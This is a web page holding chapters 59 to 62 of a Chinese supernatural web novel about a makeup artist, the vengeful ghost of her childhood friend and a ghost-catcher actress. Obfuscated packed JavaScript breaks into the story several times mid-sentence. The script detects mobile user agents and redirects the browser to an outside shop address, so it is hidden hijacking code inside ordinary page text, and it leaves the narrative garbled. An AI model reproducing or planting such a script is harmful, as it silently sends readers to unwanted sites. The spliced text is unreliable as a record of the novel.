突然,下雨了,小朋友们一哄而散,找地方躲雨。龙玲回过神来,她摸了摸自己的书包,自己倒是带了伞,但是章晓宛呢?章晓宛带伞没?她要是没带伞怎么办? 龙玲习惯性地第一时间想到章晓宛,她二话不说抬腿跑回学校,找到音乐教室。龙玲发现章晓宛正站在走廊上满脸忧愁地看雨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283465|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她肯定没带伞。龙玲在心里说。 龙玲跑到章晓宛跟前,章晓宛看到龙玲,情不自禁地露出笑容。这笑容很纯,很真,看得龙玲心中一动。 “你没带伞?”龙玲问。这是两人吵架后第一次破冰。 “嗯。”章晓宛点点头。 “那一起走吧,我有伞。”龙玲说。 “好啊。”章晓宛笑道。 于是,一场雨让两人又和好了。 龙玲不知道的是,那天章晓宛是故意没带伞,她笃定龙玲会回来接她。 十佳歌手大赛初赛时间到了。 龙玲给章晓宛化的妆,龙玲的化妆技术确实厉害,那天的章晓宛光芒万丈。 章晓宛唱歌很好听,但由于她胆小内向,从不在人多的地方唱歌,所以除了龙玲外,几乎没有人知道她会唱歌。 章晓宛很紧张,龙玲也跟着她紧张。 到章晓宛了,章晓宛拿着话筒上台,心里默念“台下都是萝卜白菜不要怕”。章晓宛深吸一口气,伴着音乐唱了起来。 唱完之后,台下先是沉默了两秒,紧接着爆发出雷鸣般的掌声。 章晓宛唱得太好了,她把在场的所有人都惊艳了。 章晓宛顺利进入复赛,又顺利在复赛中夺得第一名。章晓宛成了学校里的名人,所有人都知道1班有个唱歌超级好听的女生。 从此,学校有什么联欢会、文化节,都会让章晓宛登台唱歌,她从默默无闻的普通学生变成了耀眼的校园明星,很多人都喜欢她,甚至路上都会有其他班的学生冲到她面前对她说:“章晓宛你唱得太好了,我都快成你歌迷了!” 这件事对章晓宛的最大改变就是她变自信了。发挥自己的特长让更多人喜欢自己,这样的经历能大大提高人的自信心。随着自信心的提高,章晓宛不再是那个怯懦内向的女孩,她变得活泼开朗,自信耀眼,越来越多的人被她吸引,想跟她做朋友。 随着章晓宛身边的人越来越多,龙玲失宠了。 章晓宛独立了起来,她不再依赖龙玲。 龙玲发现章晓宛越来越不需要自己,她越来越有主见,做什么不再询问自己的意见,她呼朋引伴,不再把自己当成唯一。 龙玲有一种被抛弃的感觉。这种感觉很不好,没有人喜欢被抛弃。 龙玲还生发出了一种连她都不敢承认的妒忌。一个总是躲在自己身后的人突然发光了,带来的不是喜悦,而是嫉妒。 再后来,更让龙玲不能接受的事情发生了,章晓宛谈恋爱了,男朋友是隔壁班的,这个男人彻底把章晓宛从龙玲身边抢走。 “为什么要跟他谈恋爱?”龙玲找到章晓宛,质问。 “他人很好。” “你不要乱来,我怕你遇到坏人!” “你够了,他是不是坏人,我自己会把关。这种话你小时候对我说过,现在又对我说,可现在不一样了,我们长大了,你不要再把我当成一个需要保护的婴儿!” 59. 鬼也分三六九等 从那天起,两人很久都没再来往,虽然住同一个宿舍,但互相都把对方当空气。 暑假到了,以往放暑假,两人都会结伴出去玩,但这次却没有,暑假过半,两人一直没联系。龙玲的妈妈都问龙玲:“你怎么不去找晓宛玩?”龙玲不知道怎么回答。 其实龙玲一直在等着章晓宛主动找她,她每天守着电话,她以为章晓宛会和以前一样给她打电话,约她去看画展,但章晓宛的电话一直没打来,就连社交APP上章晓宛也安安静静的,不再给龙玲发消息、点赞或者留言。 直到有一天,龙玲独自出门去看画展,去的路上她碰巧看到章晓宛和一群人在一起,这些人里有章晓宛的男朋友,还有其他的男孩女孩,他们刚从画展回来。龙玲这才恍然大悟,哦,原来她早就有自己的朋友圈子了。 这场冷战就只有龙玲一个人在玩,章晓宛已经退出了龙玲的世界,不再在乎龙玲了。 龙玲心里酸涩,难受得想死。她转过头去,假装没看到章晓宛。 龙玲在心里埋怨章晓宛:你为什么让我孤零零一个人? 那群男孩女孩里有人认识龙玲,便跟龙玲打了声招呼,龙玲尴尬地回应了一下,逃似的跑了。龙玲四肢僵硬,她知道自己脸上一定很不好看。 画展开在美术馆里,龙玲边看展边发呆,她想到刚才簇拥在章晓宛身边的一群人,心想如果能把那些人弄走就好了。 龙玲在美术馆里看到了一把空白的折扇。这把扇子通体雪白,扇柄是温润的白色,不知道是象牙还是什么其他的材质。扇面应该是白色的宣纸,很奇怪,扇面上什么也没有,没画画,也没写书法,就这么空着摆在展台上。 这是画展,它要是展扇面上的画还说得过去,展一把空扇子是为什么? 龙玲看着那把折扇,感到莫名其妙,忽然,一个穿着红裙子的少女悄无声息地来到了龙玲身后。 少女在龙玲身后打了个响指,龙玲被吓了一跳,连忙转过身。 龙玲转身去看少女时,竟然发现展台上的空折扇居然跑到了少女手中。 “你……” 龙玲刚要开口,少女却打断了她,少女道:“‘如果能把那些人弄走就好了’,你刚才心里是不是这么想的?” “你能读心?”龙玲惊讶道。 少女却不回答,只是把手中的空白折扇塞到龙玲手中。 “扇面上没内容,是等着你来写呢。”少女笑吟吟地说,“你想把谁弄走,在扇面上写那个人的名字就好了。你先别不信,回去试试就知道了。” 龙玲迷迷糊糊地抱着折扇走出美术馆,很奇怪,她拿着把折扇出来,美术馆的工作人员像是看不见似的。 龙玲回到家,想起那少女的话:“你想把谁弄走,在扇面上写那个人的名字就好了。” 试试吧。一个声音在龙玲脑中想起,蛊惑着龙玲。 龙玲拿起写作业用的黑色水性笔,在空白扇面上写下了章晓宛男朋友的名字。写完之后,龙玲的妈妈叫她吃饭,龙玲离开房间。 白色扇面上,用黑色水性笔写的名字逐渐变淡。 龙玲回到房间时,发现自己刚才写的名字明显变浅了。龙玲拿起水性笔,自言自语道:“什么情况?我新买的笔芯是假冒伪劣产品?” 龙玲睡了一觉,醒来时发现自己昨天在扇面上写的名字已经彻底消失了,扇面一片雪白。 龙玲去看自己的作业本,明明是用同一支笔写的,作业本上的字没有消失,而扇子上的字消失了,是扇子的问题。 很快,龙玲从认识的同学那得到消息,章晓宛的那个男朋友,他父母要去南方城市发展事业,要把他一起带走,所以他开学就会转学去南方城市读书。 龙玲高兴了,没想到这把扇子真这么神奇。 龙玲二话不说,在扇子上刷刷写下章晓宛新朋友们的名字。开学后,龙玲发现这些人都因为各种各样的原因转学了,章晓宛变成了一个人。 这种变化让龙玲心底生发出一种报复的快感。龙玲心想:你让我孤零零一个人,我也让你孤零零一个人。 龙玲觉得是章晓宛抛弃她的,所以她开始报复起了章晓宛。 龙玲策划了一场恶作剧。这个周末,龙玲一个人去看画展,她在美术馆呆到晚上才出来,这时,天下起了雨。龙玲看过天气预报,知道今晚会下雨,但她故意没带伞。 美术馆旁是无息河,这条河贯穿这座城市,养育了这座城市的人。关于这条河的传说有很多,老人们都说这条河凶,河里有水鬼,水鬼会盯上独自走在河边的人,将其杀死,当然,相信科学的现代人不再信这种传说。 龙玲拨通了章晓宛的电话,她已经很久没有打过章晓宛的电话了。 “喂。”章晓宛接了电话。 “下雨了,我没带伞。你……方便来接我吗?”龙玲说。 “你在哪?”章晓宛居然毫不犹豫。 “我在美术馆附近,无息河边,有个小亭子的地方,我在亭子里躲雨。” “你在那等我,我去给你送伞。” 龙玲没想到章晓宛会这么爽快地答应给她送伞,挂了电话后,龙玲却没有在亭子里等章晓宛,她冒着雨跑回家,并把手机关机了。 等章晓宛来到无息河边的小亭子时,亭子里没有人,她会扑个空,这就是龙玲送给章晓宛的恶作剧。 谁让你抛弃我的?龙玲带着恶意想。 龙玲淋着雨回到家后一晚上没开机,她洗了个澡就睡觉了。 第二天,一个爆炸性的新闻惊动了全市市民,也让龙玲惊恐不安,她闯大祸了。 警方通报,一个高中女生死在了无息河里,那女生就是章晓宛。 现场没有任何线索,章晓宛死得蹊跷,有人猜测是水鬼下的手,毕竟她晚上一个人沿着无息河边走,水鬼又最喜欢杀独自走在河边的人。 案子一直没找到嫌疑人,水鬼杀人的说法愈演愈烈。 龙玲快疯了。 怎么会这样?怎么会发生这样的事? 龙玲捂着脸大哭,愧疚感填满了她,是她害死了章晓宛。 有次龙玲做梦,梦里章晓宛对她说:“那天晚上我去河边找你,发现你不在亭子里,我担心你遇到什么事,就沿着河边一直找你。我找了很久都没找到你,突然一只光溜溜的手从河里伸了出来,那是一只水鬼,我被它拉进了无息河。水鬼的头发是茂密的水草,水草缠住了我的脖子、我的手、我的脚,拉着我一直往下沉……” 龙玲哭道:“怎么会发生这样的事?我没有想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283466|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我真的没有想到……水鬼?世上怎么可能会有鬼?” “在亲眼看到之前我也不信。而现在,我也变成了一只鬼……”章晓宛说着,幽幽地朝龙玲伸出手,龙玲看到章晓宛的手被泡得发白,渐渐的那只手开始腐烂,变成一团一团的水草。 龙玲吓得“啊”的一声大叫出声,从梦中醒来。 章晓宛死后,长达半年的时间里龙玲没有一天不做噩梦,她都精神衰弱了,学也没法再上,父母带她去看心理医生,也不见效果。 直到有一天,父母带龙玲去上香,上香的人格外多,卖香的地方都排起了长队,父母去排队买香,龙玲一个人坐在旁边的石椅上。 石椅能同时坐两人,龙玲坐在左边,突然,一个穿着红裙子的少女像只红蝴蝶一样轻快地跑过来,坐在右边,挨着龙玲。 龙玲在发呆,少女凑近龙玲,在她耳边说:“喂,你害死了别人,你怎么还不死?” 龙玲大惊失色,惊恐地看着少女。 少女就是上次在美术馆送龙玲空白折扇的那个人,她有个名字,叫金绮月。 金绮月嘻嘻笑道:“不是你叫章晓宛去河边的吗?” “你,你……”龙玲吓得全身发抖。 “你不愧疚?”金绮月问。 龙玲“哇”的一声,捂着脸哭了起来,边哭边说:“我错了!我该死!”。 金绮月又凑近龙玲,问:“你想不想再见到章晓宛?” “晓宛不是已经……” “她死在水鬼手上,死后变成了鬼,我能让你看见鬼。” “鬼?这世上哪有鬼?” “你没见过,不代表不存在哦。” 龙玲的父母还在排队,队还很长,一时半会回不来。 金绮月说:“章晓宛死后变成了鬼,她去看过你几次,每当她准备杀你时,却总是下不了手。哦,对了,你这半年每晚做噩梦,也是她搞的鬼。” “她应该杀我的,是我害了她。” 金绮月微微一笑,她摊开手掌,龙玲在她手掌上看到了一个小人,小人就是章晓宛,章晓宛被牢牢绑住,吊了起来,在她脚下,熊熊烈火燃烧着,她看起来非常痛苦,像在受刑。 龙玲捂着嘴地问:“她怎么了?” “鬼也分三六九等,弱小的鬼会被强大的鬼抓起来,要么吃掉,要么当玩具一样折磨。章晓宛是弱小的鬼,而我,是强大的鬼。”金绮月幽幽地说。 龙玲面无血色。 “你在折磨晓宛?”龙玲问。 “是。” “你能放了她吗?”龙玲求道,“是我害了她,你折磨我吧。” “我可以放了她。”金绮月相当爽快地答应,“但不能白放,两个要求,你答应了,我就放了她。” “你说。” “第一个要求,我要你一半的寿命。” “好。” “第二个要求,我要你在剩余的人生里永永远远跟章晓宛相伴,以后章晓宛无法离开你十米之外。哦,对了,我给你的那把空白折扇还有个用处,你可以把章晓宛藏在里面,扇子可以遮掩鬼气。” 龙玲答应了金绮月的要求,她从金绮月手中救下了章晓宛。龙玲把章晓宛藏在折扇中,一人一鬼相伴了近十年。 60. 又开始了一天的拍摄 第二天一早,龙玲起来为左轻白化妆。龙玲只负责左轻白的妆,工作量比剧组其他化妆师少得多。 龙玲帮左轻白画眉,这个眉形是龙玲专门为左轻白设计的,可以修饰脸型。 左轻白忽然开口,对龙玲说:“玲姐,我记得前些年很流行平眉,这几年不流行了是吗?” 龙玲点点头,“是啊,平眉已经退出流行了。眉毛的形状跟衣服款式差不多,一个时间流行一种。” 左轻白对着镜子欣赏自己的眉毛,说:“玲姐,你画的眉毛真好看,我这种手残党就画不了这么好。” 龙玲笑道:“我是靠这个吃饭的嘛。” 该画眼影了,龙玲说:“轻白老师,请把眼睛闭上。” 左轻白乖巧地把眼睛闭上,让龙玲画眼影。 左轻白闭着眼睛对龙玲说:“玲姐,昨天晚上睡得好吗?” “挺好的。”龙玲随口一说。 “是吗?” 眼影画好了,左轻白睁开眼,看镜子里的自己,“画得真好,我觉得我的眼睛都变大了一倍。”左轻白夸道。 左轻白通过镜子看了龙玲一眼,看似不经意地说了一句:“玲姐,我发现你的五官跟我小时候一个朋友有点像。” “什么样的朋友啊?”龙玲问。 “很好很好的朋友,我们家住隔壁,从小学就认识,但到了高中,她却跟我疏远了,再后来,发生了一场意外,她溺水死了。” 龙玲吓得把拿着眼影盘的手一松,眼影盘“啪”的一下掉在地上,龙玲嘴里连连说“对不起”,弯腰去捡掉在地上的眼影盘。左轻白冷冷地看着她。 左轻白并没有什么高中就死掉的发小,她说的明明是龙玲和章晓宛。至于左轻白为什么会知道龙玲章晓宛的故事,那是因为左轻白有个得力的助道者——路回。 左轻白昨天晚上给路回打了个电话,让他帮忙查龙玲从小到大身边有没有发生过跟鬼或者死人有关的事情。路回沉默了两秒后说:“找我帮忙是越来越顺手了啊,捉鬼师小姐。” “拜托拜托!” “上次帮你借人皮鼓,我要求你也帮我做一件事,你答应我的事还没做,第二个忙就先来了?” “那……那我再欠你一件事,现在我欠你两件事,以后慢慢还。” “OK,你现在欠我两件事,但不能慢慢还,我想到了就会尽快让你还。” “那你想到了吗?” “我想到第一件了。” “是什么?” “先不告诉你,明天再我打电话告诉你。”路回卖了个关子。 路回这人有钱,有钱能使鬼推磨,要查什么事更是手到擒来,很快左轻白就知道了当年龙玲与章晓宛的故事,她判断,龙玲身边那只鬼就是章晓宛。 龙玲收拾好眼影盘,对左轻白说:“轻白老师,该涂口红了。” “好。” 龙玲耐心地给左轻白涂口红,专业的化妆师不会拿着口红在人嘴上直接怼,她们一般会用唇刷,而且一般不会只用一支口红、一种色号,她们会用好几种颜色叠涂在一起,创造出更好的效果。 “好了。”龙玲涂完口红后对左轻白说。 左轻白对着镜子照了照,赞道:“真好看,好的化妆师就是不一样。” 龙玲微微一笑,说:“轻白老师唇形好,口红怎么涂都好看。” 龙玲的助理小菲进来帮龙玲收拾化妆包,左轻白突然凑到龙玲跟前,笑嘻嘻地看着她,说:“我发现玲姐很会夸人。玲姐多夸夸我呗。” 左轻白指了指自己的眼睛,用一种“求夸奖”的眼神看着龙玲,她亲昵地一抓龙玲的手臂,说:“玲姐夸夸我的眼睛呗。” 龙玲不知道这个小明星脑袋抽的什么风,突然之间这么幼稚,但听说她跟路总关系匪浅,所以龙玲不敢得罪。龙玲只好尴尬地夸道:“轻白老师的眼睛形状很好看,像花瓣一样。” 龙玲一边说,一边试图挣脱左轻白抓着她手臂的那只手,但左轻白抓得很紧,龙玲死活挣不开。 左轻白继续幼稚地说:“再夸夸脸型。” “脸型……轻白老师是标致的鹅蛋脸,很小,很上镜,非常漂亮。” 左轻白还想让她再夸,但龙玲却紧张地挣脱了左轻白,逃似的离开化妆间,龙玲边跑边说:“我……我去上个洗手间。” 左轻白冷冷地看着龙玲离开的方向。 忽然,左轻白的手机震动,是路回打来电话。 “喂。”左轻白接了电话。 “昨天晚上我说过我已经想到了要你做的第一件事。”路回开门见山的说。 “你要我做什么,你尽管说。”左轻白大大方方地说。 电话那头,路回用一种使坏的语气慢悠悠地吐出了两个字:“陪睡。” “啊?陪谁啊?” “我。” “你他妈……”左轻白大声骂出了一句脏话,她声音太大,一旁的小菲忍不住看了她一眼。 左轻白连忙压低声音道:“你别逗了行吗?” “你答应过的事不算数?” “算数,但是……” “既然算数那就没有什么但是,这部戏拍完,我在家里等你。” 说完,路回就挂断了电话。 左轻白觉得路回是在故意戏耍她,对着电话咬牙切齿道:“路回你给我等着。” 另一边,龙玲来到女卫生间。她走进隔间,把门关上。 那把空白折扇龙玲一直随身带着,现在就藏在她袖子里。如今折扇从龙玲袖口中滑了出来,悬浮在半空中自动展开。一阵黑烟过去,一个女鬼出现在龙玲跟前,是章晓宛。 章晓宛一出现就劈头盖脸地扇了龙玲一巴掌。 龙玲贴着门发抖,但不敢吭声。 这些年变成鬼的章晓宛一直跟在龙玲身边,一直折磨着龙玲,龙玲生不如死。 章晓宛居高临下地抓起龙玲的头发,她的手指抚上龙玲的眼睛,龙玲的眼睛当即像被电击一样一阵刺痛。龙玲痛得流出了眼泪,章晓宛却扭曲地大笑:“哈哈哈哈!怎么?你敢夸别人的眼睛好看?我告诉你,你只能看着我!只能看着我!” 接着章晓宛的手指抚上龙玲的嘴唇,尖利的爪子划开一道血痕,鲜血从龙玲嘴唇上流出。章晓宛悠悠地说:“你给那个小明星调的口红确实好看。凭什么你能干你喜欢的工作,我却变成了鬼?我妒忌。” 龙玲快窒息了。 病态的占有夹杂着幽暗的嫉妒,这就是现在章晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297057|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宛对待龙玲的态度。但龙玲没脸指责章晓宛,因为这就是她曾经对待章晓宛的态度。 健康的友谊既是开放的,也是有边界的,朋友从来不是自己的私有物品,朋友的成长、独立、甚至是远去,都应该被尊重。可惜年少时的龙玲不明白这个道理。 龙玲把隔间门从里面反锁了,理论上别人进不来,但突然间门外传来“咚咚咚”的砸门声,隔间门不停地震动。龙玲一愣,心想:外面这是谁啊,不知道里面有人吗,居然砸门?其他隔间不能用?满员了?那也不能砸门啊! “咔”的一声,隔间的门居然生生被人拆了下来! 大力女左轻白把拆下来的门板往旁边一扔,盯住了隔间里正和龙玲在一起的章晓宛。章晓宛一从折扇里出来,左轻白就闻到了清晰的鬼气。 左轻白右手中指和食指之间夹着一张符纸,口中念念有词,符纸变成了一阵金沙,金沙飞向章晓宛并拧成一股金色的绳索,章晓宛察觉到情况不妙,以最快的速度往折扇里钻,但晚了一步,绳索牢牢地缚住章晓宛,任凭章晓宛怎么挣扎都无法挣脱。 左轻白扯着绳索一端,说了声“收”,把捆得严严实实的章晓宛扯出隔间,摔在地板上。 左轻白又拿出一张新的符纸,将章晓宛收入了符纸中。 章晓宛被抓,大功告成,左轻白得意地拍了拍手。 龙玲突然扑到左轻白脚边,急道:“轻白老师……不……您是何方高人啊?” 左轻白插着腰自豪地说:“我叫左轻白,是一名捉鬼师。”接着她又强调道:“是金牌捉鬼师。” 龙玲问:“您能放了她吗?” “不能。她是鬼,捉鬼师抓鬼,天经地义。”左轻白义正严辞道。 龙玲泪流满面,“是我害了她。” 左轻白好心劝她:“你人生还有那么长,有些事情,该放下就放下吧。” 龙玲摇摇头,“我的人生不长了,我花了一半的寿命从一个红衣女鬼手中救下晓宛。” “红衣女鬼?”左轻白喃喃道,“金绮月?” 现在左轻白已经不惊讶了,她发现女主不愧是女主,就算金绮月是鬼,她在这个世界依然无处不在。 是谁写的金绮月这个女主?如果有机会回去,一定要把作者揪出来打一顿。左轻白翻着白眼想。 左轻白蹲在龙玲跟前,说:“你花了一半的寿命救她,也算是还了债。”接着左轻白向龙玲伸出一只手,跟她要那把折扇,“你那把扇子,交给我吧,那是鬼物,对你有害。” 龙玲把空白折扇交给了左轻白,左轻白看了看,确定是金绮月用鬼术制造出来的东西。 左轻白走出洗手间,看到兰殊尔背倚着墙,双手抱臂,冷着一张脸正在等她。 左轻白走到兰殊尔跟前,拿着空白折扇在兰殊尔面前炫耀,“怎么样?我比你先捉到鬼。” 兰殊尔淡淡地说:“鬼在女厕所里现身,我不方便进去抓。算是你赢了。” 左轻白嗤之以鼻:“什么叫算是?本来就是我比你抓得快。” 这时剧组场务拿着喇叭在喊:“兰老师!左老师!两位老师在哪里?快快快,快点集合了!” 左轻白和兰殊尔朝集合地点走去,又开始了一天的拍摄。 61. 那个生日是假的 从那天起,空白折扇就一直在左轻白手中,左轻白以为金绮月会来抢,但金绮月迟迟没有出现。 剧组杀青,杀青新闻发布会上,几个主演坐成一排,接受记者的采访。 兰殊尔和左轻白是男女主,所以坐在一起。 记者的注意力当然集中在男女主身上,记者让左轻白和兰殊尔互相评价一下对方,两人互相说了些客套话。 记者又问左轻白:“轻白小姐会把殊尔这样的男生当作择偶标准吗?” 这个问题,说“会”也不是,说“不会”也不是,说“不会”记者们会写她跟兰殊尔不和,说“会”记者们肯定要传他俩绯闻。 左轻白干笑两声,胡诌道:“殊尔特别好,是个非常优秀的男生,但我这个人吧,喜欢年纪比我小的,殊尔比我大两个月。” 记者又问:“能具体透露一下择偶标准吗?除了喜欢弟弟,还有别的要求吗?您会要求男方比您优秀吗?” 左轻白在心里骂道:你们就对男欢女爱那点事感兴趣是吧? 但面上左轻白依旧保持微笑,问记者:“优秀的标准是什么呢?金钱、学业、权利?亦或是拥有其他特殊的技能,比如唱歌啦、画画啦,这些算不算?” “呃……都算。” “既然都算,那么所谓的优秀其实没有标准,谁也没法去定义谁比谁强、谁比谁好。” 记者们听着,纷纷点头,都认为左轻白说的话很哲学。 很快,“左轻白哲学”的词条便上了热搜。 其实左轻白根本不懂什么哲学,她只是绞尽脑汁应付记者,胡说一通而已。 发布会结束,一辆黑色的加长版轿车把左轻白接走了,车上坐着的是路回。 司机在前面开车,路回和左轻白坐在后座,路回拿着手机看刚才发布会的录像,皱眉沉思,若有所思道:“我也比你大两个月。” “什么?”左轻白没听明白路回想说什么。 “你的资料上有你的出生日期,从你的生日上看,我比你大两个月。” 左轻白满不在乎地说:“那个生日是假的。” “你改年龄了?” “没有,是那个生日根本就不是我的。” 娱乐圈中改年龄的现象非常常见,但左轻白不属于这种情况,左轻白个人资料上的生日是上一个左轻白的,不是她的。 “那你的生日是几月几号?”路回问。 “不知道。”左轻白说。 左轻白不知道她的生日是几月几号,她是被玄逸从孤儿院里接出来的。捉鬼术必须有天赋才能修,而有捉鬼天赋的孩子极少极少,玄逸年轻时经常做的一件事就是走访各个孤儿院,看里面有没有具有天赋的孩子。 路回以为她只是不想说,毕竟女明星的真实年龄十分忌讳往外说。 “总能告诉我比我大还是比我小吧?”路回问。 左轻白摇摇头,“不知道,可能比你大,也可能比你小。” 路回奇怪道:“你连自己年纪都不清楚,却说喜欢比自己小的?可是谁比你小谁比你大你都不知道啊,对象怎么找?” “不找。”左轻白边玩手机边说。突然,她猛地抬起头来,以一种坚定的、正得发邪的眼神看向前方,义正严辞地说:“我要以捉鬼大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313026|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业为重。” 路回:“……” 路回带左轻白去某高级餐厅吃饭,左轻白开心道:“哇唔,看来资本家也不是完全没良心嘛!员工帮你赚钱辛苦,还知道犒劳犒劳员工。大方的老板能发财!” 路回什么也没说,看着左轻白把桌上的菜一扫而光,他自己没吃多少。 晚上回到别墅,路回忽然问左轻白:“你不会忘了你答应过我什么吧?” “答应你什么啊?”左轻白果然装傻。 “今天晚上来我房间。” “开玩笑的事情就别当真了。”左轻白开始耍赖。 “我没开玩笑。” “你别故意捉弄我行不行?” “我也不是故意捉弄你。” “那这算是什么事儿?” “算是……是……你今晚过来就知道了。” “不去。” “现在知道忸怩了,一开始在酒店穿情趣睡衣勾引我的时候怎么不忸怩呢?” 左轻白脸一红,暴跳如雷:“不许再提这件事,那个不是我!” 这桩黑历史左轻白真想给它彻底抹掉。 路回双手抱臂,他看见左轻白终于不淡定了,心里竟然美滋滋起来。路回道:“左轻白小姐,作为一名金牌捉鬼师,不该说话不算话吧?” “士可杀,不可辱!” “人无信,而不立。” “你还挺有文化?” “彼此彼此。” 说着,路回从沙发上站起来,慢悠悠地走上楼,走的时候还不忘提醒左轻白:“捉鬼师小姐,晚上记得来我房间,兑现承诺。” 62. 这里面好冷啊 路回的卧室非常大,比普通商品房的客厅还要大得多。 路回一个大男人的卧室,却提前让人布置成了粉嫩嫩的公主风,不仅有女孩子最喜欢的毛绒玩具,还在卧室里铺了一大片玫瑰花海,花海中不同颜色的色块组成“love”的字样。路回卧室有个巨大的落地窗,落地窗正对小花园,路回手里拿着一个小小的信号器,当路回摁下信号器后,在花园里候着的人就会操控停在花园里的无人机全部飞起来,飞到空中进行声势浩大的无人机表演,表演的主题是“爱情”。 路回叫左轻白今晚来他房间“陪睡”,其实是要跟左轻白表白。 当然表完白真陪睡也不是不行,反正是个流程的问题。 路回早早就上了二楼,去房间里等着左轻白。左轻白没上去,呆在一楼客厅挠头抓耳。 “他想干嘛?”左轻白一个人自言自语。 左轻白用手一撑脑袋,道:“难道他只是表面正经,实际上跟那些肥头大耳的油腻中年男老板一样,都是龌龊东西?” 接着左轻白换了只手撑脑袋,“又或者说,我刚开始穿来那天,原来那个左轻白做的事情,让他就此以为我是个轻浮的人?” …… 就在左轻白自言自语的时候,放在她包包里的那把空白折扇突然动了。 从龙玲手中得到的空白折扇左轻白一直带在身边,这扇子一直很乖,没什么异样,所以左轻白对它放松了警惕。 左轻白身后,空白折扇悄悄地飞了起来,在半空中打开,而左轻白毫无察觉。 折扇空白的扇面上,突然飞速地出现一些线条,像是有一支隐形的笔在上面画画一样。 画完了,扇面上出现了一幅精致的工笔画,画的是大雪纷飞中的一个村庄。 接着,一只雪白的手悄无声息地从扇面里伸了出来,伸向左轻白。那只手从后面迅猛地一掐左轻白的脖颈,将她生生拖进了扇子里。 左轻白还没来得及发出声音,就已经从路回的别墅中消失了。 左轻白消失的同时,金绮月从扇子中走了出来。 折扇合了起来,精准地落在金绮月手中。这就是金绮月的扇子,是她给龙玲的。 左轻白很早之前就在路回别墅周围贴满了符纸,金绮月靠近就会有警报,但这把扇子却把金绮月神不知鬼不觉地带了进来。 金绮月嘴角一勾,露出一个坏笑。 金绮月拿出一个纸扎小人,在刚才左轻白坐的地方附近找了一圈,从沙发上捡起一根左轻白掉的头发,她把左轻白的头发缠在纸扎小人上。 就在这时,金绮月口袋里的手机震动了一下。 金绮月拿出手机一看,是周夙发来的微信:绮月,你在哪?你是不是去路回家了?我去接你好不好? 金绮月回复道:是,我就在路回家里。 周夙:你答应过我不伤害我弟弟。绮月,算我求你了,放过路回,你让我做什么都可以。 金绮月给周夙发过去一个大笑的表情包。 金绮月:你急什么,我既然答应你不伤害路回,那就不会食言。我来路回家是来抓左轻白的。 周夙:抓到了吗? 金绮月:抓到了,她被我关进了扇子里。 周夙:你现在还在路回家吗?我开车来接你。 金绮月在输入框里打上:你脑子是不是不太好使?我是鬼,你的车能有我快? 但她没按发送,她想了想,忽然把输入框里的字全部删掉,重新打了一个“好”字,然后按下了发送。 周夙这种如同傻子一样的热忱,对金绮月来说很受用。 金绮月是一只500年的老鬼,如果一个500年的老鬼说她因一个人类的爱而动了恻隐之心,那大概是要遭到所有鬼嘲笑的。 金绮月对周夙的态度是轻蔑的,一个愚蠢的人类,除了轻蔑还想从她这里得到什么呢?但除了轻蔑之外,金绮月却又时常会对周夙生发出恻隐之心,从而手下留情。周夙疯狂追求金绮月时让金绮月很烦,烦到她起了杀心,但她又总是会想,算了,没必要;路回助道者的身份曝光后,金绮月动过杀路回的心思,奈何周夙屡次相求,金绮月居然看在周夙的份上,真的没动路回。 虽然金绮月不知道周夙跟500年前的舒瑾安到底有没有关系,但周夙经常能让她想起舒瑾安。 提起舒瑾安,金绮月不知道是什么心情。于金绮月而言,舒瑾安是个强.奸.犯,但在金绮月要求他自挖心脏时,这个强.奸.犯居然真的挖出自己的心,捧到金绮月面前。 舒瑾安敢挖心其实是在金绮月意料之外的,金绮月料定这个肮脏龌龊的男人不可能真的为她挖心,可她料错了。更在金绮月意料之外的是,舒瑾安的心是十二窍玲珑心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 